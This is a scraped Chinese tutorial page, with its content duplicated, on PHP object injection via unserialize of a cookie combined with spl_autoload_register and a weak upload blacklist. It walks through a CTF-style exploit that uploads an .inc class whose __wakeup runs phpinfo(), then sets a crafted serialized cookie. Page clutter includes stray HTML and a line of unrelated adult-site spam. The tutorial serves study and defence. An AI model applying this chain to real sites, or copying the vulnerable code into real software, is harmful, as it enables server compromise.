• <sub id="h4knl"><ol id="h4knl"></ol></sub>
    <sup id="h4knl"></sup>
      <sub id="h4knl"></sub>

      <sub id="h4knl"><ol id="h4knl"><em id="h4knl"></em></ol></sub><s id="h4knl"></s>
      1. <strong id="h4knl"></strong>

      2. PHP對(duì)象注入的實(shí)例分析

        時(shí)間:2024-08-27 02:48:46 PHP 我要投稿
        • 相關(guān)推薦

        PHP對(duì)象注入的實(shí)例分析

          注入我們聽(tīng)到最多的sql了,其實(shí)php注入也是黑客常用的一種辦法了,下面我們就來(lái)學(xué)習(xí)一下php注入攻擊的記錄,希望大家能夠通過(guò)此教程來(lái)做好自己網(wǎng)站安全。

          1. 寫(xiě)在前面

          最近經(jīng)常會(huì)遇到一些比較有意思的漏洞,比如PHP反序列化漏洞,PHP對(duì)象注入。這些漏洞可能在平時(shí)很難遇到,但是在CTF以及一些CMS倒是經(jīng)常看到他們的背影。今天剛剛好手上看到了某CTF的代碼,但是并沒(méi)有獲取所有源碼,因此修改了部分代碼進(jìn)行分析。

          2. 自動(dòng)加載

          2.0 為什么要自動(dòng)加載?

          在面向?qū)ο缶幊讨校绦騿T經(jīng)常會(huì)編寫(xiě)好類(lèi)然后在一個(gè)入口文件中將它們包含進(jìn)來(lái)。如果一個(gè)項(xiàng)目非常大,可能存在成百上千個(gè)類(lèi)文件,如果一一包含進(jìn)去,那么入口文件就會(huì)顯得特別大并且不利于維護(hù)。因此,PHP5提供了一種自動(dòng)加載機(jī)制。

          2.1 __autoload

          index.php

          function __autoload($classname){

          $class_file = strtolower($classname).".php";

          if(file_exists($class_file)){

          require_once("$class_file");

          }else{

          echo "$class_file does not exist!";

          }

          }

          $obj = new File();

          訪問(wèn)index.php,程序會(huì)嘗試實(shí)例化File類(lèi)。PHP的解析器會(huì)自動(dòng)調(diào)用__autoload()函數(shù)。假設(shè)當(dāng)前目錄下沒(méi)有file.php,那么就會(huì)輸出 “file.php does not exist!” 并且拋出錯(cuò)誤。

          file.php

          class File{

          function __construct(){

          echo "File class is instantiated";

          }

          }

          此時(shí)訪問(wèn)index.php,就會(huì)得到 “File class is instantiated” 的結(jié)果。這樣一來(lái),自動(dòng)加載機(jī)制就非常好理解了。

          2.2 手動(dòng)調(diào)用 spl_autoload

          void spl_autoload ( string $class_name [, string $file_extensions ] )

          它可以接收兩個(gè)參數(shù),第一個(gè)參數(shù)是$class_name,表示類(lèi)名。第二個(gè)參數(shù)$file_extensions是可選的,表示類(lèi)文件的擴(kuò)展名;如果不指定的話,它將使用默認(rèn)的擴(kuò)展名.inc或.php。

          spl_autoload首先將$class_name變?yōu)樾?xiě),然后在所有的include path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions參數(shù)的話),如果找到,就加載該類(lèi)文件。

          同樣,你可以手動(dòng)使用spl_autoload(“Person”, “.class.php”)來(lái)加載Person類(lèi)。實(shí)際上,它跟require/include差不多

          舉個(gè)例子

          spl_autoload("upload");

          $F = new Upload();

          這里沒(méi)有指定擴(kuò)展名,那么就會(huì)在當(dāng)前目錄下尋找upload.inc或者upload.php并自動(dòng)加載。其實(shí),到這里而言,和require、include相比并沒(méi)有簡(jiǎn)單。相反,它們的功能基本是一模一樣的。

          2.3 自動(dòng)調(diào)用 spl_autoload

          上面所說(shuō)的使用手動(dòng)的方式調(diào)用spl_autoload,工作量其實(shí)和require/include基本上差不多。調(diào)用spl_autoload_register()的時(shí)候,如果沒(méi)有指定欲注冊(cè)的自動(dòng)裝載函數(shù),則自動(dòng)注冊(cè) autoload 的默認(rèn)實(shí)現(xiàn)函數(shù)spl_autoload()。

          舉個(gè)例子

          spl_autoload_register();

          $F = new Upload();

          此時(shí),程序會(huì)在當(dāng)前路徑下自動(dòng)加載upload.inc或upload.php。

          3. 反序列化

          字符串序列化成類(lèi)之前,類(lèi)必須提前聲明,否則無(wú)法反序列化。

          字符串在反序列化的時(shí)候,會(huì)自動(dòng)調(diào)用__wakeup()魔術(shù)方法

          Object序列化格式 -> O:strlen(對(duì)象名):對(duì)象名:對(duì)象大小:{s:strlen(屬性名):屬性名:屬性值;(重復(fù)剩下的元素)}

          4. 漏洞剖析

          index.php

          include_once "common.inc.php";

          if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {

          include_once __DIR__ . "/" . $req["act"] . ".php";

          exit;

          }

          common.inc.php

          spl_autoload_register();

          error_reporting(0);

          ini_set('display_errors', false);

          $req = [];

          foreach([$_GET, $_POST] as $global_var) {

          foreach($global_var as $key => $value) {

          is_string($value) && $req[$key] = addslashes($value);

          }

          }

          $userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];

          upload.php

          if($_FILES["attach"]["error"] == 0) {

          if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {

          $typeAccepted = ["image/jpeg", "image/gif", "image/png"];

          $blackext = ["php", "php5", "php3", "html", "swf", "htm"];

          $filearr = pathinfo($_FILES["attach"]["name"]);

          if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {

          exit("type error");

          }

          if(in_array($filearr["extension"], $blackext)) {

          exit("extension error");

          }

          $filename = $_FILES["attach"]["name"];

          if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {

          array_push($userinfo, $filename);

          setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);

          echo htmlspecialchars("upload success, new filename is {$filename} .");

          } else {

          echo "upload error!";

          }

          }

          } else {

          echo "no upload file";

          }

          在common.inc.php中執(zhí)行了spl_autoload_register()函數(shù),并沒(méi)有使用參數(shù)。

          后綴沒(méi)有禁止.inc的類(lèi)型

          在common.inc.php會(huì)反序列化COOKIE中的數(shù)據(jù)

          上傳目錄在當(dāng)前目錄下

          因此我們需要如下構(gòu)造:

          上傳一個(gè)名為info.inc的文件,抓包修改MIME類(lèi)型。info.inc的內(nèi)容如下所示:

          class info{

          function __wakeup(){

          phpinfo();

          }

          }

          修改cookie的uesrinfo字段為:O:4:”info”:0:{}

          訪問(wèn)index.php即可觸發(fā)phpinfo()函數(shù)。

        《&.doc》
        将本文的Word文档下载到电脑,方便收藏和打印
        推荐度:
        点击下载文档

        【PHP對(duì)象注入的實(shí)例分析】相關(guān)文章:

        PHP防止SQL注入的例子03-15

        淺析php函數(shù)的實(shí)例04-01

        PHP中curl的使用實(shí)例04-01

        PHP面向?qū)ο笾剌d重寫(xiě)的不同04-03

        德國(guó)留學(xué)申請(qǐng)實(shí)例分析03-19

        PHP中的排序函數(shù)區(qū)別分析03-31

        javascript閉包的定義及應(yīng)用實(shí)例分析04-01

        2017考研英語(yǔ)閱讀經(jīng)典實(shí)例分析02-23

        托福口語(yǔ)的評(píng)分標(biāo)準(zhǔn)及實(shí)例分析03-28

        在线咨询
        国产高潮无套免费视频_久久九九兔免费精品6_99精品热6080YY久久_国产91久久久久久无码
      3. <sub id="h4knl"><ol id="h4knl"></ol></sub>
        <sup id="h4knl"></sup>
          <sub id="h4knl"></sub>

          <sub id="h4knl"><ol id="h4knl"><em id="h4knl"></em></ol></sub><s id="h4knl"></s>
          1. <strong id="h4knl"></strong>

          2. 在线日本aⅴ免费网站 | 亚洲欧美中文字幕图 | 日本精油按摩视频福利精品 | 久久久久国产视频 | 亚洲高清网站在线 | 综合网日日天干夜夜久久 |

            PHP對(duì)象注入的實(shí)例分析

              注入我們聽(tīng)到最多的sql了,其實(shí)php注入也是黑客常用的一種辦法了,下面我們就來(lái)學(xué)習(xí)一下php注入攻擊的記錄,希望大家能夠通過(guò)此教程來(lái)做好自己網(wǎng)站安全。

              1. 寫(xiě)在前面

              最近經(jīng)常會(huì)遇到一些比較有意思的漏洞,比如PHP反序列化漏洞,PHP對(duì)象注入。這些漏洞可能在平時(shí)很難遇到,但是在CTF以及一些CMS倒是經(jīng)常看到他們的背影。今天剛剛好手上看到了某CTF的代碼,但是并沒(méi)有獲取所有源碼,因此修改了部分代碼進(jìn)行分析。

              2. 自動(dòng)加載

              2.0 為什么要自動(dòng)加載?

              在面向?qū)ο缶幊讨校绦騿T經(jīng)常會(huì)編寫(xiě)好類(lèi)然后在一個(gè)入口文件中將它們包含進(jìn)來(lái)。如果一個(gè)項(xiàng)目非常大,可能存在成百上千個(gè)類(lèi)文件,如果一一包含進(jìn)去,那么入口文件就會(huì)顯得特別大并且不利于維護(hù)。因此,PHP5提供了一種自動(dòng)加載機(jī)制。

              2.1 __autoload

              index.php

              function __autoload($classname){

              $class_file = strtolower($classname).".php";

              if(file_exists($class_file)){

              require_once("$class_file");

              }else{

              echo "$class_file does not exist!";

              }

              }

              $obj = new File();

              訪問(wèn)index.php,程序會(huì)嘗試實(shí)例化File類(lèi)。PHP的解析器會(huì)自動(dòng)調(diào)用__autoload()函數(shù)。假設(shè)當(dāng)前目錄下沒(méi)有file.php,那么就會(huì)輸出 “file.php does not exist!” 并且拋出錯(cuò)誤。

              file.php

              class File{

              function __construct(){

              echo "File class is instantiated";

              }

              }

              此時(shí)訪問(wèn)index.php,就會(huì)得到 “File class is instantiated” 的結(jié)果。這樣一來(lái),自動(dòng)加載機(jī)制就非常好理解了。

              2.2 手動(dòng)調(diào)用 spl_autoload

              void spl_autoload ( string $class_name [, string $file_extensions ] )

              它可以接收兩個(gè)參數(shù),第一個(gè)參數(shù)是$class_name,表示類(lèi)名。第二個(gè)參數(shù)$file_extensions是可選的,表示類(lèi)文件的擴(kuò)展名;如果不指定的話,它將使用默認(rèn)的擴(kuò)展名.inc或.php。

              spl_autoload首先將$class_name變?yōu)樾?xiě),然后在所有的include path中搜索$class_name.inc或$class_name.php文件(如果不指定$file_extensions參數(shù)的話),如果找到,就加載該類(lèi)文件。

              同樣,你可以手動(dòng)使用spl_autoload(“Person”, “.class.php”)來(lái)加載Person類(lèi)。實(shí)際上,它跟require/include差不多

              舉個(gè)例子

              spl_autoload("upload");

              $F = new Upload();

              這里沒(méi)有指定擴(kuò)展名,那么就會(huì)在當(dāng)前目錄下尋找upload.inc或者upload.php并自動(dòng)加載。其實(shí),到這里而言,和require、include相比并沒(méi)有簡(jiǎn)單。相反,它們的功能基本是一模一樣的。

              2.3 自動(dòng)調(diào)用 spl_autoload

              上面所說(shuō)的使用手動(dòng)的方式調(diào)用spl_autoload,工作量其實(shí)和require/include基本上差不多。調(diào)用spl_autoload_register()的時(shí)候,如果沒(méi)有指定欲注冊(cè)的自動(dòng)裝載函數(shù),則自動(dòng)注冊(cè) autoload 的默認(rèn)實(shí)現(xiàn)函數(shù)spl_autoload()。

              舉個(gè)例子

              spl_autoload_register();

              $F = new Upload();

              此時(shí),程序會(huì)在當(dāng)前路徑下自動(dòng)加載upload.inc或upload.php。

              3. 反序列化

              字符串序列化成類(lèi)之前,類(lèi)必須提前聲明,否則無(wú)法反序列化。

              字符串在反序列化的時(shí)候,會(huì)自動(dòng)調(diào)用__wakeup()魔術(shù)方法

              Object序列化格式 -> O:strlen(對(duì)象名):對(duì)象名:對(duì)象大小:{s:strlen(屬性名):屬性名:屬性值;(重復(fù)剩下的元素)}

              4. 漏洞剖析

              index.php

              include_once "common.inc.php";

              if(isset($req["act"]) && preg_match('/^[a-z0-9_]+$/is', $req["act"])) {

              include_once __DIR__ . "/" . $req["act"] . ".php";

              exit;

              }

              common.inc.php

              spl_autoload_register();

              error_reporting(0);

              ini_set('display_errors', false);

              $req = [];

              foreach([$_GET, $_POST] as $global_var) {

              foreach($global_var as $key => $value) {

              is_string($value) && $req[$key] = addslashes($value);

              }

              }

              $userinfo = isset($_COOKIE["userinfo"]) ? unserialize($_COOKIE["userinfo"]) : [];

              upload.php

              if($_FILES["attach"]["error"] == 0) {

              if($_FILES["attach"]['size'] > 0 && $_FILES["attach"]['size'] < 102400) {

              $typeAccepted = ["image/jpeg", "image/gif", "image/png"];

              $blackext = ["php", "php5", "php3", "html", "swf", "htm"];

              $filearr = pathinfo($_FILES["attach"]["name"]);

              if(!in_array($_FILES["attach"]['type'], $typeAccepted)) {

              exit("type error");

              }

              if(in_array($filearr["extension"], $blackext)) {

              exit("extension error");

              }

              $filename = $_FILES["attach"]["name"];

              if(move_uploaded_file($_FILES["attach"]["tmp_name"], $filename)) {

              array_push($userinfo, $filename);

              setcookie("userinfo", serialize($userinfo), time() + 60 * 60 * 24 * 30);

              echo htmlspecialchars("upload success, new filename is {$filename} .");

              } else {

              echo "upload error!";

              }

              }

              } else {

              echo "no upload file";

              }

              在common.inc.php中執(zhí)行了spl_autoload_register()函數(shù),并沒(méi)有使用參數(shù)。

              后綴沒(méi)有禁止.inc的類(lèi)型

              在common.inc.php會(huì)反序列化COOKIE中的數(shù)據(jù)

              上傳目錄在當(dāng)前目錄下

              因此我們需要如下構(gòu)造:

              上傳一個(gè)名為info.inc的文件,抓包修改MIME類(lèi)型。info.inc的內(nèi)容如下所示:

              class info{

              function __wakeup(){

              phpinfo();

              }

              }

              修改cookie的uesrinfo字段為:O:4:”info”:0:{}

              訪問(wèn)index.php即可觸發(fā)phpinfo()函數(shù)。